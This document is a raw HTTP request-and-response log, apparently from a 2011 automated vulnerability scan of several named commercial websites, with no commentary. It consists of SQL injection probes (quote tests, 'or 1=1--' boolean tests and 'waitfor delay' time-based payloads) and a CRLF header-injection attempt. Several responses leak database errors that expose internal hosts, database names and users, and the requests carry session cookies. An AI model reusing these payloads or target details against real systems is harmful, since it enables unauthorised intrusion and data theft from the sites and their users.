Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/x-javascript
Content-Length: 5603

var SCS_tid=(SCS_tid)?escape(SCS_tid):"",NS_do=new Array('conversionsuite.com','sapha.com'),NS_fe=new Array('exe','pdf','zip','wav','mp3','mov','mpg','avi','wmv','doc','xls','wpd','ppt','swf','mpeg','
...[SNIP]...

GET /engine.php?ac=/1'2546 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: dce.sapha.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:54:40 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 391

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '/1'2546'<br>
<b>MySQ
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2546'' at line 1)<br>
...[SNIP]...

GET /engine.php?ac=/1''2546 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: dce.sapha.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:54:40 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

GET /logging.php?ac=1'&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=Lead%20Generation%2C%20Lead%20Capture%20%26%20Website%20Conversion%20Systems%20from%20Sapha&NS_ru=&NS_rn=75869&NS_js=1.6&NS_vp=http%3A//www.sapha.com/&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:44 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 385

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '1''<br>
<b>MySQL Err
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1)<br>
...[SNIP]...

GET /logging.php?ac=1''&NS_sw=1920&NS_sh=1200&NS_sc=16&NS_c=yes&NS_pn=&NS_vpn=&NS_uuid=&NS_pt=Lead%20Generation%2C%20Lead%20Capture%20%26%20Website%20Conversion%20Systems%20from%20Sapha&NS_ru=&NS_rn=75869&NS_js=1.6&NS_vp=http%3A//www.sapha.com/&NS_tz=300&NS_la=&NS_tid=&NS_tamt=&NS_cid= HTTP/1.1
Host: dce.sapha.com
Proxy-Connection: keep-alive
Referer: http://www.sapha.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 302 Found
Date: Fri, 06 May 2011 22:05:44 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Cache-Control: private
P3P: CP='NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM'
Location: http://dce.sapha.com/0.gif
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

GET /subscribe.php?event_id=82' HTTP/1.1
Host: events.gsmiweb.com
Connection: keep-alive
Referer: https://events.gsmiweb.com/events.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=246713051.1303999551.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=246713051.480784472.1303999551.1303999551.1303999551.1; PHPSESSID=n1ninf9mvtgucavvk20tlpt8n1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:39:12 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 309
Connection: close
Content-Type: text/html

<script language="javascript">
window.location.href="events.php";
</script>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND
type = 1 AND active = 1
ORDER BY `order` ASC, price_id ASC' at line 3

GET /subscribe.php?event_i/1'd=82 HTTP/1.1
Host: events.gsmiweb.com
Connection: keep-alive
Referer: https://events.gsmiweb.com/events.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=246713051.1303999551.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=246713051.480784472.1303999551.1303999551.1303999551.1; PHPSESSID=n1ninf9mvtgucavvk20tlpt8n1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:40:28 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 307
Connection: close
Content-Type: text/html

<script language="javascript">
window.location.href="events.php";
</script>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND
type = 1 AND active = 1
ORDER BY `order` ASC, price_id ASC' at line 3

GET /b%00'/ss/expedia1/1/G.9p2/s96203847790602?[AQB]&ndh=1&t=6/4/2011%2022%3A42%3A9%205%20300&ce=ISO-8859-1&cdp=2&pageName=50053&g=http%3A//www.expedia.com/pub/agent.dll%3Fqscr%3Dflex%26subm%3D1%26city%3DAUS%26citd%3DDTW%26date1%3D3%26mnth%3D5/1/2011%26rgst%3D%250D%250Ans%3Anetsparker056650%3Dvuln%26rged%3D10%26fxst%3D0%26load%3D1%26cAdu%3D1%26rfrr%3D-429&c16=Head%3ANav%3AHotels%3AHotels&v28=Head%3ANav%3AHotels%3AHotels&pe=lnk_o&pev1=http%3A//www.expedia.com/Hotels&pev2=RFRR%20Action%20Link&pid=50053&pidt=1&oid=http%3A//www.expedia.com/Hotels&ot=A&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1066&bh=968&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1
Host: om.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=3&mnth=5/1/2011&rgst=%0D%0Ans:netsparker056650=vuln&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; s1=`user=v.8,0,EX011A614213$F4$B5205000c$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$F9Y$D9$0A$9E$23$C5E$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 23:04:36 GMT
Server: Omniture DC/2.0.0
Content-Length: 393
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

GET /b%00''/ss/expedia1/1/G.9p2/s96203847790602?[AQB]&ndh=1&t=6/4/2011%2022%3A42%3A9%205%20300&ce=ISO-8859-1&cdp=2&pageName=50053&g=http%3A//www.expedia.com/pub/agent.dll%3Fqscr%3Dflex%26subm%3D1%26city%3DAUS%26citd%3DDTW%26date1%3D3%26mnth%3D5/1/2011%26rgst%3D%250D%250Ans%3Anetsparker056650%3Dvuln%26rged%3D10%26fxst%3D0%26load%3D1%26cAdu%3D1%26rfrr%3D-429&c16=Head%3ANav%3AHotels%3AHotels&v28=Head%3ANav%3AHotels%3AHotels&pe=lnk_o&pev1=http%3A//www.expedia.com/Hotels&pev2=RFRR%20Action%20Link&pid=50053&pidt=1&oid=http%3A//www.expedia.com/Hotels&ot=A&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1066&bh=968&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1
Host: om.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=3&mnth=5/1/2011&rgst=%0D%0Ans:netsparker056650=vuln&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; s1=`user=v.8,0,EX011A614213$F4$B5205000c$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$F9Y$D9$0A$9E$23$C5E$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 23:04:36 GMT
Server: Omniture DC/2.0.0
xserver: www611
Content-Length: 0
Content-Type: text/html

GET /b'/ss/expedia1/1/H.9-Pdvu-2/s9923706686589?[AQB]&ndh=1&t=6/4/2011%2022%3A42%3A16%205%20300&ce=ISO-8859-1&cdp=2&pageName=page.Hotels&g=http%3A//www.expedia.com/Hotels&r=http%3A//www.expedia.com/pub/agent.dll%3Fqscr%3Dflex%26subm%3D1%26city%3DAUS%26citd%3DDTW%26date1%3D3%26mnth%3D5/1/2011%26rgst%3D%250D%250Ans%3Anetsparker056650%3Dvuln%26rged%3D10%26fxst%3D0%26load%3D1%26cAdu%3D1%26rfrr%3D-429&ch=hotels&server=www.expedia.com&c2=hotels&v2=hotels&c12=80312807c795402e93c5016d2a2a3e1b&v17=page.Hotels&v18=page.Hotels&c34=842_1%7C975_0&v34=842_1%7C975_0&c50=E3.20110401&pid=50053&pidt=1&oid=http%3A//www.expedia.com/Hotels&ot=A&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1066&bh=968&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1
Host: om.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s_sess=%20s_sq%3Dexpedia1%253D%252526pid%25253D50053%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/Hotels%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B%20s_cc%3Dtrue%3B

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 23:12:00 GMT
Server: Omniture DC/2.0.0
Content-Length: 434
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b'/ss/expedia1/1/H.9-Pdvu-2/s9923706686589 was not f
...[SNIP]...
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

GET /b''/ss/expedia1/1/H.9-Pdvu-2/s9923706686589?[AQB]&ndh=1&t=6/4/2011%2022%3A42%3A16%205%20300&ce=ISO-8859-1&cdp=2&pageName=page.Hotels&g=http%3A//www.expedia.com/Hotels&r=http%3A//www.expedia.com/pub/agent.dll%3Fqscr%3Dflex%26subm%3D1%26city%3DAUS%26citd%3DDTW%26date1%3D3%26mnth%3D5/1/2011%26rgst%3D%250D%250Ans%3Anetsparker056650%3Dvuln%26rged%3D10%26fxst%3D0%26load%3D1%26cAdu%3D1%26rfrr%3D-429&ch=hotels&server=www.expedia.com&c2=hotels&v2=hotels&c12=80312807c795402e93c5016d2a2a3e1b&v17=page.Hotels&v18=page.Hotels&c34=842_1%7C975_0&v34=842_1%7C975_0&c50=E3.20110401&pid=50053&pidt=1&oid=http%3A//www.expedia.com/Hotels&ot=A&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1066&bh=968&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1
Host: om.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s_sess=%20s_sq%3Dexpedia1%253D%252526pid%25253D50053%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/Hotels%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B%20s_cc%3Dtrue%3B

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 23:12:00 GMT
Server: Omniture DC/2.0.0
xserver: www391
Content-Length: 0
Content-Type: text/html

GET /compactpoll.asp?pollID=1842018614847%20or%201%3d1--%20 HTTP/1.1
Host: poll.websitegear.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 19:31:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 98
Content-Type: text/html; Charset=utf-8
Set-Cookie: ASPSESSIONIDSACSQBTS=AFHAMOBCGELDLCGBGJFDMJMG; path=/
Cache-control: private

An error occurred on the server when processing the URL. Please contact the system administrator.

GET /compactpoll.asp?pollID=1842018614847%20or%201%3d2--%20 HTTP/1.1
Host: poll.websitegear.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:31:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Content-Type: text/html; Charset=utf-8
Set-Cookie: ASPSESSIONIDSACSQBTS=GFHAMOBCCFJPFMGMGBOLLEJL; path=/
Cache-control: private

GET /Legacy/a.z?s=143&p=26&cfg=22'waitfor%20delay'0%3a0%3a20'--&fromprefetch=1 HTTP/1.1
Host: recruiting.scout.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; __utmz=153805115.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; __utma=153805115.1232119317.1303509265.1303509265.1303516031.2; SessionBrandId=0; __utma=202704078.454375544.1303509265.1304731683.1304736111.6; __utmc=202704078; __utmb=202704078.1.10.1304736111

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 21:44:32 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 21:54:12 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 12006

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...

GET / HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384')waitfor%20delay'0%3a0%3a20'--

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:59:34 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5139
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /?1,0,0,0)waitfor%20delay'0%3a0%3a20'--=1 HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
